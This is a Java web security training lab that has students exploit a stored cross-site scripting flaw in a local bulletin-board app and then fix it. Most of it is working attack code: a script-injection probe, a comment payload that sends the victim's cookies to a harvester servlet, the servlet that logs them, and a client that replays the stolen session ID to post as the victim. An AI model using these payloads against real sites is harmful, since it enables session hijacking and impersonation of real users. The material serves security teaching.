Lab 12: Mitigating Cross-Site Scripting

In this lab, you will investigate an application that's vulnerable to a Cross-Site Scripting (XSS) attack and then mitigate the vulnerability.

Objectives:

- To mitigate XSS

Part 1: Investigating an XSS Vulnerablity

Steps:

_1. As you have in earlier labs, import the **{Lab Installation Directory/starters/lab12/lab12.zip** existing project into your workspace.

_2. In the Project Explorer, right-click on *LogIn.jsp* and choose *Run As - Run on server*.

Login as **ssmith** with password **abc123** and note that you can add a comment to the bulletin board, for example **Message from Sue**.

Logout, then login again as **bjones** with password **def345** (try adding a comment to force a login).

Note that this user can see the comment added by ssmith.

_3. To determine if this application is vulnerable to XSS, try adding this comment:

```
<script>alert('Hi');</script>
```

If you see a JavaScript alert box, you know that the application is potentially vulnerable, since it didn't escape, or filter out the JavaScript.

_4. Logout, then re-login as *ssmith*. Does the JavaScript run while you are logged-in as another user? If so, then the application is definitely vulnerable to an XSS attack.

Logout of the application and stop Tomcat.

_5. Next, let's see how an attack works. Start by creating a new Dynamic Web project named **lab12EvilWeb**.

_6. In the new project, create a new servlet in the *servlets* package named **EvilServlet** that overrides *doGet*.

Complete the doGet method:

a. Output a message to the console, then initialize:

```
System.out.println("Evil servlet got a request!");
response.setContentType("text/html");
PrintWriter out = response.getWriter();
```

b. Open a log file, then log the request:

Copyright © Descriptor Systems 2013. All Rights Reserved. Materials may not be reproduced in any form without prior written consent of Joel Barnum.

```
PrintWriter log = new PrintWriter(
    new FileWriter("/javaclassp3/log.txt", true));
log.println("Timestamp: " + new java.util.Date());
log.println("User agent: " + request.getHeader("user-agent"));
log.println("Cookies:" + request.getParameter("cookie"));
log.println("-----------------------------------------");
log.close();
```

c. Output an official-looking Web page to fool the victim:

```
out.println("<h3>Page Under Construction, Sorry.</h3>");
out.println(
  "Click <a href='http://localhost:8080/lab12Web/ShowComments.jsp'>" +
  "here</a> to go back.");
```

d. Run the EvilServlet on the server, then verify that the log file logged the request. Leave the EvilServlet running.

_7. Next, write a Java program that will use information harvested by the EvilServlet:

a. Create a new Java project named **Lab12EvilClient**. Decline any request to switch perspectives.

b. In the client project, create a class in the *client* package named **EvilClient** with a *main()* method.

c. In main(), first connect to the vulnerable site:

```
URL url =
    new URL("http://localhost:8080/lab12Web/AddComment");

HttpURLConnection con = (HttpURLConnection) url.openConnection();
```

d. Next, initialize the request headers. You will substitute the JSESSIOND in a moment so you can masquerade as the victim:

```
con.setDoInput(true);
con.setDoOutput(true);
con.setRequestMethod("POST");
con.setRequestProperty("user-agent", "evilAgent");
con.setRequestProperty("Cookie", "xxxxxx");
```

e. Post a comment to the bulletin board, masquerading as the victim:

```
String content = "comment=" +
  URLEncoder.encode("Evil client gotcha!", "UTF-8");

OutputStream os = con.getOutputStream();
os.write(content.getBytes());
os.flush();
os.close();
```


Copyright © Descriptor Systems 2013. All Rights Reserved. Materials may not be reproduced in any form without prior written consent of Joel Barnum.

f. Retrieve the response from the site and display it for no real purpose:

```
InputStream is = con.getInputStream();
int i = is.read();
while (i != -1)
{
    System.out.print((char)i);
    i = is.read();
}

is.close();
```

g. Use Eclipse to generate exception-handling code as necessary, but don't run the EvilClient yet.

_8. Next, use an XSS attack so you can masquerade as the victim.

a. Ensure that the lab12EvilWeb project (the harvester) is running.

b. In the lab12Web project, run LogIn.jsp on the server and login as **bjones** with password **def345**. This user will play the role of attacker.

c. Typing very carefully, enter the following as a comment:

```
<a onclick="document.location=
  'http://localhost:8080/lab12EvilWeb/EvilServlet?
  cookie='+escape(document.cookie);" href="#">Click here!</a>
```

NOTE: Please enter this as a single line. We have split it here so it fits on the page. The multiline textarea will wrap lines as you type.

This entry contains a hyperlink with an embedded JavaScript. The script captures the currently logged-in user's cookies, including the session ID, and sends them to the EvilServlet harvester.

Post the comment - it should appear as a hyperlink.

d. Logout, then try adding a comment to force a login. Login as the victim, **ssmith** with password **abc123**.

e. Playing the role of the unsuspecting victim, click the hyperlink. Watch the Eclipse console, noting the message from the Evil servlet.

Hit the back button, then log out.

_9. Now, use the EvilClient to impersonate the victim:

a. Open the log.txt file into Notepad. Looking at the last request at the bottom, find the JSESSIONID line. Copy the entire JSESSIONID= text, starting after the ':' character through the end of the line into the clipboard.

b. In EvilClient.java, paste from the clipboard, overwriting the 'xxxx' for the Cookie header. Since this is the victim's session ID, the EvilClient can now masquerade as the victim.

c. Run the client as a Java application - the console should show an HTML response that includes the newly added comment.

_10. Back in the lab12Web project, run ShowComments.jsp on the server. You should see the "Gotcha" comment and note that it was posted as by ssmith. You have successfully used XSS to impersonate another user. In this case, there was no real damage, but it's not hard to see how dangerous this could be in the real world.

Copyright © Descriptor Systems 2013. All Rights Reserved. Materials may not be reproduced in any form without prior written consent of Joel Barnum.

Stop the server.

Part 2: Mitigating XSS

In this part, you will modify the application so that it's less vulnerable to XSS.

Steps:

_1. The vulnerability you exploited in the last step was in the CommentList.jsp. Open this file into the editor and correct it so that it properly "escapes" content.

_2. Run LogIn.jsp on the server again and login as bjones. Attempt to inject a simple alert script as a comment. Ensure that no JavaScript alert runs.

Then try injecting the hyperlink with the embedded script? Ensure that the EvilServlet does not run when a user clicks on the link.

Copyright © Descriptor Systems 2013. All Rights Reserved. Materials may not be reproduced in any form without prior written consent of Joel Barnum.